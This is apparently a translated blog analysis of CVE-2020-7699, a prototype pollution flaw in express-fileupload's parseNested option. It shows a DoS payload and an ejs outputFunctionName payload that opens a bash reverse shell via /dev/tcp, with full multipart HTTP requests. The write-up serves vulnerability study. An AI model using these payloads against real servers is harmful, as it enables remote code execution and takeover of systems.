CVE-2020-7699 vulnerability analysis

CVE-2020-7699 vulnerability analysis

1. Introduction

CVE-2020-7699: NodeJS module code injection

The vulnerability is entirely caused by the express-fileupload module of Nodejs. The version of the module before 1.1.8 has a prototype chain pollution (Prototype Pollution) vulnerability. Of course, to cause this vulnerability, certain configuration is required: the parseNested option is set to true

This vulnerability can cause a DOS denial of service attack. With the ejs template engine, the purpose of RCE can be achieved.

2. Vulnerability source code analysis

If you want to reproduce, you need to download the low version express-fileupload module

npm i [email protected]

The source code that caused the vulnerability: (key part)

busboy.on('finish', () => {
    debugLog(options, `Busboy finished parsing request.`);
    if (options.parseNested) {
        req.body = processNested(req.body);
        req.files = processNested(req.files);
    }

    if (!req[waitFlushProperty]) return next();
    Promise.all(req[waitFlushProperty])
        .then(() => {
        delete req[waitFlushProperty];
        next();
    }).catch(err => {
        delete req[waitFlushProperty];
        debugLog(options, `Error while waiting files flush: ${err}`);
        next(err);
    });
});
function processNested(data){
    if (!data || data.length < 1) return {};

    let d = {},
        keys = Object.keys(data);       //获取键名,列表

    for (let i = 0; i < keys.length; i++) {
        let key = keys[i],
            value = data[key],
            current = d,
            keyParts = key
        .replace(new RegExp(/\[/g), '.')
        .replace(new RegExp(/\]/g), '')
        .split('.');

        for (let index = 0; index < keyParts.length; index++){
            let k = keyParts[index];
            if (index >= keyParts.length - 1){
                current[k] = value;
            } else {
                if (!current[k]) 
                    current[k] = !isNaN(keyParts[index + 1]) ? [] : {};
                current = current[k];
            }
        }
    }

    return d;
};

In fact, the source of pollution in the prototype chain lies in the porcessNested method. The usage of this function:

例如:
传入的参数是:{"a.b.c":"m1sn0w"}
通过这个函数后,返回的是"{ a: { b: { c: 'm1sn0w' } } }

其实他跟那个merge函数比较类似,都是循环调用,因此存在原型链污染
传入参数:{"__proto__.m1sn0w":"m1sn0w"}
然后我们调用console.log(Object.__proto__.m1sn0w)
返回的值为m1sn0w

At this point, it is relatively clear that as long as the function processNested is called, and if the parameters of the function are controllable, the purpose of prototype chain pollution can be achieved. Therefore, here we will introduce the prerequisites for the formation of the vulnerability. The parseNested configuration option should be set to true, for example:

const fileUpload = require('express-fileUpload')
var express = require('express')

app = express()
app.use(fileUpload({ parseNested: true }))

app.get('/',(req,res)=>{
	res.end("m1sn0w")
})

Observe the first part of the code at the top, if the parseNested parameter is true, call the processNested function, and the parameter is req.body or req.files

req.body is nodejs parsing the post request body, req.files gets the information of uploaded files

Both methods are fine. Here first use the req.files parameter (req.body will be used in the following RCE)

Regarding the req.files parameter, for example: POST request to upload files

POST / HTTP/1.1

Host: 192.168.0.101:7778

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.101:7778/

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

Content-Length: 336

Connection: close

Upgrade-Insecure-Requests: 1



-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"

Content-Type: text/plain



aaa


-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="username"





-----------------------------1546646991721295948201928333--

It can be observed that the value of req.files is:

{ upload:
	{ name: 'm1sn0w.txt',
	  data: <Buffer 61 61 61 0a>,
	  size: 4,
	  encoding: '7bit',
	  tempFilePath: '',
	  truncated: false,
	  mimetype: 'text/plain',
	  md5:'......'
	  mv: [Function: mv]
	  }
}

Change the upluod parameter above to

__proto__.toString
那么结果就会变回:
{
	__proto__.toString:{
		......
	}
}

Since parseNested is set, the processNested function is automatically called, which causes pollution of the prototype chain.

Is equivalent to:

{}[__proto__][toString] = { ...... }

When we visit the page again, an error of 500 will be returned (because the toString method has changed)

Three, use ejs for RCE

There is a loophole in the ejs template engine that uses prototype pollution to perform RCE (this loophole has not yet been fixed, probably because the prerequisite for exploitation is that there must be a point of prototype chain pollution)

First analyze the source code that caused this vulnerability by ejs: (The key part is extracted here)

compile: function () {
    /** @type {string} */
    var src;
    /** @type {ClientFunction} */
    var fn;
    var opts = this.opts;
    var prepended = '';
    var appended = '';
    /** @type {EscapeCallback} */
    var escapeFn = opts.escapeFunction;
    /** @type {FunctionConstructor} */
    var ctor;
  
    if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
      if (opts.destructuredLocals && opts.destructuredLocals.length) {
        var destructuring = '  var __locals = (' + opts.localsName + ' || {}),\n';
        for (var i = 0; i < opts.destructuredLocals.length; i++) {
          var name = opts.destructuredLocals[i];
          if (i > 0) {
            destructuring += ',\n  ';
          }
          destructuring += name + ' = __locals.' + name;
        }
        prepended += destructuring + ';\n';
      }
      if (opts._with !== false) {
        prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
        appended += '  }' + '\n';
      }
      appended += '  return __output;' + '\n';
      this.source = prepended + this.source + appended;
    }
}

    src = this.source

    ctor = Function

    fn = new ctor(opts.localsName + ', escapeFn,include,rethrow',src);

    fn.apply(opts.context,[data || {},escapeFn,include,rethrow]);

It can be analyzed from bottom to top:

  1. The fn method is called, if the src parameter is controllable, then the function can be customized;
  2. The value of the src parameter comes from this.source
  3. From the top method, this.source = prepended + this.source + appended

In fact, the entire function above is splicing this.source, and the most critical part is here:

if (!this.source) {
      this.generateSource();
      prepended +=
        '  var __output = "";\n' +
        '  function __append(s) { if (s !== undefined && s !== null) __output += s }\n';
      if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }
}

It is actually this:

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';

Through global analysis, opts.outputFunctionName was not assigned a value initially. If there is a prototype chain pollution vulnerability, we can customize this value to construct the payload:

opts.outputFunctionName = x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x

Take a closer look, why do you want x; start with x and end? In fact, the above splicing constitutes a complete js statement

Now let's take a look at how to use ejs to reach RCE through the above prototype chain pollution

Here is req.body instead of req.files

For example, here is a POST request:

POST / HTTP/1.1

Host: 192.168.0.101:7778

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.0.101:7778/

Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

Content-Length: 339

Connection: close

Upgrade-Insecure-Requests: 1



-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"

Content-Type: text/plain



aaa


-----------------------------1546646991721295948201928333

Content-Disposition: form-data; name="username"



123

-----------------------------1546646991721295948201928333--


What is returned by req.body is

{ username : '123' }

We change the username above to

__proto__.outputFunctionName

Change the value of 123 to:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

When we initiate a request again, we will bounce back a shell on the specified host, so as to achieve the purpose of RCE

Reference link:

https://blog.p6.is/Real-World-JS-1/

https://xz.aliyun.com/t/7075#toc-3

Guess you like

Origin blog.csdn.net/gental_z/article/details/107937110